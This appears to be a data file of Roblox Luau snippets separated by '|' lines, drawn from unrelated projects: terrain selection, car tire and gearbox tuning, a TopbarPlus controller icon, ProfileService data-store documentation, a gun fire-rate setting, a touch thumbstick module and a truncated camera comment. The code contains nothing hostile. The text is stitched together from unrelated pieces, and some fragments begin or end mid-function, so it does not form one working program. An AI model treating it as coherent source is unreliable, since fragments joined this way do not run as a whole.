local cframePos = CellCenterToWorld(terrain, x, y, z)
local cellPos = Vector3int16.new(x,y,z)
local updated = false
for cellPosAdorn, adornTable in pairs(adornments) do
if cellPosAdorn == cellPos then
adornTable.KeepAlive = currentKeepAliveTag
if color then
adornTable.SelectionBox.Color = color
end
updated = true
break
end
end
if not updated then
local selectionPart, selectionBox = createAdornment(color)
selectionPart.Size = Vector3.new(4,4,4)
selectionPart.CFrame = CFrame.new(cframePos)
local adornTable = {SelectionPart = selectionPart, SelectionBox = selectionBox, KeepAlive = currentKeepAliveTag}
adornments[cellPos] = adornTable
end
end
end
end
end
cleanUpAdornments()
end
------------------------------------- setup code ------------------------------
lastRegion = regionToSelect
if selectEmptyCells then -- use one big selection to represent the area selected
local selectionPart, selectionBox = createAdornment(color)
selectionPart.Size = regionToSelect.Size
selectionPart.CFrame = regionToSelect.CFrame
adornments.SelectionPart = selectionPart
adornments.SelectionBox = selectionBox
updateSelection =
function (newRegion, color)
if newRegion and newRegion ~= lastRegion then
lastRegion = newRegion
selectionPart.Size = newRegion.Size
selectionPart.CFrame = newRegion.CFrame
end
if color then
selectionBox.Color = color
end
end
else -- use individual cell adorns to represent the area selected
adornFullCellsInRegion(regionToSelect, color)
updateSelection =
function (newRegion, color)
if newRegion and newRegion ~= lastRegion then
lastRegion = newRegion
adornFullCellsInRegion(newRegion, color)
end
end
end
local destroyFunc = function()
updateSelection = nil
if selectionContainer then selectionContainer:Destroy() end
adornments = nil
end
return updateSelection, destroyFunc
end
|
--Tune
|
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive
local _Custom = {
TireWearOn = true ,
--Friction and Wear
--Friction and Wear
FWearSpeed = 0 ,
FTargetFriction = 1.1 ,
FMinFriction = .4 ,
RWearSpeed = 0 ,
RTargetFriction = 1.1 ,
RMinFriction = .4 ,
--Tire Slip
TCSOffRatio = 1/4 ,
WheelLockRatio = 1/4 , --SS6 Default = 1/4
WheelspinRatio = 1/1.2 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = .5 , --SS6 Default = .5
RElasticity = .5 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 3.6 --SS6 Default = 3.6
}
local _AllSeason = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --Don't change this
FTargetFriction = .6 , -- .58 to .63
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .2 , --Don't change this
RTargetFriction = .6 , -- .58 to .63
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 2 , --Don't change this
RFrictionWeight = 2 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _Slicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .6 , --Don't change this
FTargetFriction = .93 , -- .88 to .93
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .6 , --Don't change this
RTargetFriction = .93 , -- .88 to .93
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _SemiSlicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .5 , --Don't change this
FTargetFriction = .78 , -- .73 to .78
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .5 , --Don't change this
RTargetFriction = .78 , -- .73 to .78
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllTerrain = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 , --Don't change this
FTargetFriction = .5 , -- .48 to .53
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .3 , --Don't change this
RTargetFriction = .5 , -- .48 to .53
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 10 , --Don't change this
RFrictionWeight = 10 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _DragRadials = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 30 , --Don't change this
FTargetFriction = 1.2 , -- 1.18 to 1.23
FMinFriction = 0.35 , --Don't change this
RWearSpeed = 30 , --Don't change this
RTargetFriction = 1.2 , -- 1.18 to 1.23
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 1 , --Don't change this
RFrictionWeight = 1 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 20 , --Don't change this
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason
if _Select == "DragRadials" then
_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
_WHEELTUNE = _SemiSlicks
else
_WHEELTUNE = _AllSeason
end
car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight
car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight
car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = 1400 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 2600 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear
--Gear Ratios
Tune.FinalDrive = 3.45 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[ R ]] 3.28 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[ N ]] 0 ,
--[[ 1 ]] 3.01 ,
--[[ 2 ]] 2.07 ,
--[[ 3 ]] 1.43 ,
--[[ 4 ]] 1 ,
--[[ 5 ]] 0.84 ,
--[[ 6 ]] 0.57
}
Tune.FDMult = 2.15 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(script.Parent)
local controllerOptionIcon = Icon.new()
:setProperty("internalIcon", true)
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage("rbxassetid://5278150942")
:setRight()
:setEnabled(false)
:setTip("Controller mode")
:setProperty("deselectWhenOtherIconSelected", false)
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
local function determineDisplay()
local mouseEnabled = userInputService.MouseEnabled
local controllerEnabled = userInputService.GamepadEnabled
local iconIsSelected = controllerOptionIcon.isSelected
if mouseEnabled and controllerEnabled then
-- Show icon
controllerOptionIcon:setEnabled(true)
elseif mouseEnabled and not controllerEnabled then
-- Hide icon, disableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(false)
controllerOptionIcon:deselect()
elseif not mouseEnabled and controllerEnabled then
-- Hide icon, _enableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(true)
end
end
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay)
userInputService.GamepadConnected:Connect(determineDisplay)
userInputService.GamepadDisconnected:Connect(determineDisplay)
determineDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setProperty("internalIcon", true)
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
-- This checks if voice chat is enabled
local success, enabled = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)
if success and enabled then
isVoiceChatEnabled = true
IconController.updateTopbar()
end
-- Credit
if not isStudio then
local ownerId = game.CreatorId
local groupService = game:GetService("GroupService")
if game.CreatorType == Enum.CreatorType.Group then
local success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end)
if success then
ownerId = ownerInfo.Id
end
end
local version = require(script.Parent.VERSION)
if localPlayer.UserId ~= ownerId then
local marketplaceService = game:GetService("MarketplaceService")
local success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end)
if success and placeInfo then
local gameName = placeInfo.Name
print(("\n\n\n⚽ %s uses TopbarPlus %s\n🍍 TopbarPlus was developed by ForeverHD and the Nanoblox Team\n🚀 You can learn more and take a free copy by searching for 'TopbarPlus' on the DevForum\n\n"):format(gameName, version))
end
end
end
end)()
|
-- local Madwork = _G.Madwork
--[[
{Madwork}
-[ProfileService]---------------------------------------
(STANDALONE VERSION)
DataStore profiles - universal session-locked savable table API
Official documentation:
https://madstudioroblox.github.io/ProfileService/
DevForum discussion:
https://devforum.roblox.com/t/ProfileService/667805
WARNINGS FOR "Profile.Data" VALUES:
! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;
! Do not create mixed tables (some values indexed by number and others by string key), as only
the data indexed by number will be replicated.
! Do not index tables by anything other than numbers and strings.
! Do not reference Roblox Instances
! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing
! Do not reference functions
WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result
in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release()
the old Profile object.
Members:
ProfileService.ServiceLocked [bool]
ProfileService.IssueSignal [ScriptSignal](error_message, profile_store_name, profile_key)
ProfileService.CorruptionSignal [ScriptSignal](profile_store_name, profile_key)
ProfileService.CriticalStateSignal [ScriptSignal](is_critical_state)
Functions:
ProfileService.GetProfileStore(profile_store_name, profile_template) --> [ProfileStore]
-- WARNING: Only one ProfileStore can exist for a given profile_store_name in a game session!
* Parameter description for "ProfileService.GetProfileStore()":
profile_store_name [string] -- DataStore name
profile_template []:
{} [table] -- Profiles will default to given table (hard-copy) when no data was saved previously
Members [ProfileStore]:
ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore
Methods [ProfileStore]:
ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id)
ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))
-- Returns GlobalUpdates object if update was successful, otherwise returns nil
ProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available;
Notice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't
been created, with the exception of Profile.GlobalUpdates which could be empty or populated by
ProfileStore:GlobalUpdateProfileAsync()
ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the
DataStore / mock DataStore with no way to recover it.
* Parameter description for "ProfileStore:LoadProfileAsync()":
profile_key [string] -- DataStore key
not_released_handler = "ForceLoad" -- Force loads profile on first call
OR
not_released_handler = "Steal" -- Steals the profile ignoring it's session lock
OR
not_released_handler [function] (place_id, game_job_id) --> [string] ("Repeat" / "Cancel" / "ForceLoad")
-- "not_released_handler" will be triggered in cases where the profile is not released by a session. This
function may yield for as long as desirable and must return one of three string values:
["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again
["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil
["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards
and release the profile for another session that has loaded the profile
["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying
a session lock for this session.
* Parameter description for "ProfileStore:GlobalUpdateProfileAsync()":
profile_key [string] -- DataStore key
update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods
(update_handler can't yield)
Members [Profile]:
Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released
Profile.MetaData [table] (Read-only) -- Information about this profile
Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation
Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded
Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a
game session is currently having this profile loaded; nil if released
Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data
Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore
(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after
they pile up)
Profile.GlobalUpdates [GlobalUpdates]
Methods [Profile]:
-- SAFE METHODS - Will not error after profile expires:
Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to
Profile:GetMetaTag(tag_name) --> value
Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure
Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session
force-loads this profile - use :ListenToRelease() to handle player leaving cleanup.
Profile:Release() -- Call after the session has finished working with this profile
e.g., after the player leaves (Profile object will become expired) (Does not yield)
-- DANGEROUS METHODS - Will error if the profile is expired:
-- MetaTags - Save and read values stored in Profile.MetaData for storing info about the
profile itself like "Profile:SetMetaTag("FirstTimeLoad", true)"
Profile:SetMetaTag(tag_name, value)
Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)
Methods [GlobalUpdates]:
-- ALWAYS PUBLIC:
GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}
GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}
-- ONLY WHEN FROM "Profile.GlobalUpdates":
GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
-- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires
GlobalUpdates:LockActiveUpdate(update_id)
GlobalUpdates:ClearLockedUpdate(update_id)
-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
GlobalUpdates:AddActiveUpdate(update_data)
GlobalUpdates:ChangeActiveUpdate(update_id, update_data)
GlobalUpdates:ClearActiveUpdate(update_id)
--]]
|
local SETTINGS = {
AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)
LoadProfileRepeatDelay = 15, -- Seconds between successive DataStore calls for the same key
ForceLoadMaxSteps = 4, -- Steps taken before ForceLoad request steals the active session for a profile
AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead
-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.
IssueCountForCriticalState = 5, -- Issues to collect to announce critical state
IssueLast = 120, -- Seconds
CriticalStateLast = 120, -- Seconds
}
local Madwork -- Standalone Madwork reference for portable version of ProfileService
do
-- ScriptConnection object:
local ScriptConnection = {
-- _listener = function -- [function]
-- _listener_table = {} -- [table] -- Table from which the function entry will be removed
}
function ScriptConnection:Disconnect()
local listener = self._listener
if listener ~= nil then
local listener_table = self._listener_table
for i = 1, #listener_table do
if listener == listener_table[i] then
table.remove(listener_table, i)
break
end
end
self._listener = nil
end
end
function ScriptConnection.NewArrayScriptConnection(listener_table, listener) --> [ScriptConnection]
return {
_listener = listener,
_listener_table = listener_table,
Disconnect = ScriptConnection.Disconnect
}
end
-- ScriptSignal object:
local ScriptSignal = {
-- _listeners = {}
}
function ScriptSignal:Connect(listener) --> [ScriptConnection]
if type(listener) ~= "function" then
error("[ScriptSignal]: Only functions can be passed to ScriptSignal:Connect()")
end
table.insert(self._listeners, listener)
return {
_listener = listener,
_listener_table = self._listeners,
Disconnect = ScriptConnection.Disconnect
}
end
function ScriptSignal:Fire(...)
for _, listener in ipairs(self._listeners) do
listener(...)
end
end
function ScriptSignal.NewScriptSignal() --> [ScriptSignal]
return {
_listeners = {},
Connect = ScriptSignal.Connect,
Fire = ScriptSignal.Fire
}
end
local RunService = game:GetService("RunService")
local Heartbeat = RunService.Heartbeat
Madwork = {
NewScriptSignal = ScriptSignal.NewScriptSignal,
NewArrayScriptConnection = ScriptConnection.NewArrayScriptConnection,
HeartbeatWait = function(wait_time) --> time_elapsed
if wait_time == nil or wait_time == 0 then
return Heartbeat:Wait()
else
local time_elapsed = 0
while time_elapsed <= wait_time do
local time_waited = Heartbeat:Wait()
time_elapsed = time_elapsed + time_waited
end
return time_elapsed
end
end,
ConnectToOnClose = function(task, run_in_studio_mode)
if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then
game:BindToClose(task)
end
end,
}
end
|
-- Provide total count of all descendants
|
Count.Value = Support.GetDescendantCount(Tool) - AutoremovingItemsCount;
|
--// Handling Settings
|
Firerate = 60 / 700; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local TouchThumbstick = setmetatable({}, BaseCharacterController)
TouchThumbstick.__index = TouchThumbstick
function TouchThumbstick.new()
local self = setmetatable(BaseCharacterController.new() :: any, TouchThumbstick)
self.isFollowStick = false
self.thumbstickFrame = nil
self.moveTouchObject = nil
self.onTouchMovedConn = nil
self.onTouchEndedConn = nil
self.screenPos = nil
self.stickImage = nil
self.thumbstickSize = nil -- Float
return self
end
function TouchThumbstick:Enable(enable: boolean?, uiParentFrame)
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
self.moveVector = ZERO_VECTOR3
self.isJumping = false
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
self.thumbstickFrame.Visible = true
else
-- Disable
self.thumbstickFrame.Visible = false
self:OnInputEnded()
end
self.enabled = enable
end
function TouchThumbstick:OnInputEnded()
self.thumbstickFrame.Position = self.screenPos
self.stickImage.Position = UDim2.new(0, self.thumbstickFrame.Size.X.Offset/2 - self.thumbstickSize/4, 0, self.thumbstickFrame.Size.Y.Offset/2 - self.thumbstickSize/4)
self.moveVector = ZERO_VECTOR3
self.isJumping = false
self.thumbstickFrame.Position = self.screenPos
self.moveTouchObject = nil
end
function TouchThumbstick:Create(parentFrame)
if self.thumbstickFrame then
self.thumbstickFrame:Destroy()
self.thumbstickFrame = nil
if self.onTouchMovedConn then
self.onTouchMovedConn:Disconnect()
self.onTouchMovedConn = nil
end
if self.onTouchEndedConn then
self.onTouchEndedConn:Disconnect()
self.onTouchEndedConn = nil
end
end
local minAxis = math.min(parentFrame.AbsoluteSize.X, parentFrame.AbsoluteSize.Y)
local isSmallScreen = minAxis <= 500
self.thumbstickSize = isSmallScreen and 70 or 120
self.screenPos = isSmallScreen and UDim2.new(0, (self.thumbstickSize/2) - 10, 1, -self.thumbstickSize - 20) or
UDim2.new(0, self.thumbstickSize/2, 1, -self.thumbstickSize * 1.75)
self.thumbstickFrame = Instance.new("Frame")
self.thumbstickFrame.Name = "ThumbstickFrame"
self.thumbstickFrame.Active = true
self.thumbstickFrame.Visible = false
self.thumbstickFrame.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)
self.thumbstickFrame.Position = self.screenPos
self.thumbstickFrame.BackgroundTransparency = 1
local outerImage = Instance.new("ImageLabel")
outerImage.Name = "OuterImage"
outerImage.Image = TOUCH_CONTROL_SHEET
outerImage.ImageRectOffset = Vector2.new()
outerImage.ImageRectSize = Vector2.new(220, 220)
outerImage.BackgroundTransparency = 1
outerImage.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)
outerImage.Position = UDim2.new(0, 0, 0, 0)
outerImage.Parent = self.thumbstickFrame
self.stickImage = Instance.new("ImageLabel")
self.stickImage.Name = "StickImage"
self.stickImage.Image = TOUCH_CONTROL_SHEET
self.stickImage.ImageRectOffset = Vector2.new(220, 0)
self.stickImage.ImageRectSize = Vector2.new(111, 111)
self.stickImage.BackgroundTransparency = 1
self.stickImage.Size = UDim2.new(0, self.thumbstickSize/2, 0, self.thumbstickSize/2)
self.stickImage.Position = UDim2.new(0, self.thumbstickSize/2 - self.thumbstickSize/4, 0, self.thumbstickSize/2 - self.thumbstickSize/4)
self.stickImage.ZIndex = 2
self.stickImage.Parent = self.thumbstickFrame
local centerPosition = nil
local deadZone = 0.05
local function DoMove(direction: Vector2)
local currentMoveVector = direction / (self.thumbstickSize/2)
-- Scaled Radial Dead Zone
local inputAxisMagnitude = currentMoveVector.magnitude
if inputAxisMagnitude < deadZone then
currentMoveVector = Vector3.new()
else
if FFlagUserClampClassicThumbstick then
currentMoveVector = currentMoveVector.unit * math.min(1, (inputAxisMagnitude - deadZone) / (1 - deadZone))
else
currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))
end
-- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed
-- must check for zero length vector is using unit
currentMoveVector = Vector3.new(currentMoveVector.X, 0, currentMoveVector.Y)
end
self.moveVector = currentMoveVector
end
local function MoveStick(pos: Vector3)
local relativePosition = Vector2.new(pos.X - centerPosition.X, pos.Y - centerPosition.Y)
local length = relativePosition.magnitude
local maxLength = self.thumbstickFrame.AbsoluteSize.X/2
if self.isFollowStick and length > maxLength then
local offset = relativePosition.unit * maxLength
self.thumbstickFrame.Position = UDim2.new(
0, pos.X - self.thumbstickFrame.AbsoluteSize.X/2 - offset.X,
0, pos.Y - self.thumbstickFrame.AbsoluteSize.Y/2 - offset.Y)
else
length = math.min(length, maxLength)
relativePosition = relativePosition.unit * length
end
self.stickImage.Position = UDim2.new(0, relativePosition.X + self.stickImage.AbsoluteSize.X/2, 0, relativePosition.Y + self.stickImage.AbsoluteSize.Y/2)
end
-- input connections
self.thumbstickFrame.InputBegan:Connect(function(inputObject: InputObject)
--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event
--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)
if self.moveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch
or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
self.moveTouchObject = inputObject
self.thumbstickFrame.Position = UDim2.new(0, inputObject.Position.X - self.thumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.Y - self.thumbstickFrame.Size.Y.Offset/2)
centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2,
self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2)
local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y)
end)
self.onTouchMovedConn = UserInputService.TouchMoved:Connect(function(inputObject: InputObject, isProcessed: boolean)
if inputObject == self.moveTouchObject then
centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2,
self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2)
local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y)
DoMove(direction)
MoveStick(inputObject.Position)
end
end)
self.onTouchEndedConn = UserInputService.TouchEnded:Connect(function(inputObject, isProcessed)
if inputObject == self.moveTouchObject then
self:OnInputEnded()
end
end)
GuiService.MenuOpened:Connect(function()
if self.moveTouchObject then
self:OnInputEnded()
end
end)
self.thumbstickFrame.Parent = parentFrame
end
return TouchThumbstick
|
--------------------------------------------------------------------------------------------
-- Popper uses the level geometry find an upper bound on subject-to-camera distance.
--
-- Hard limits are applied immediately and unconditionally. They're generally caused
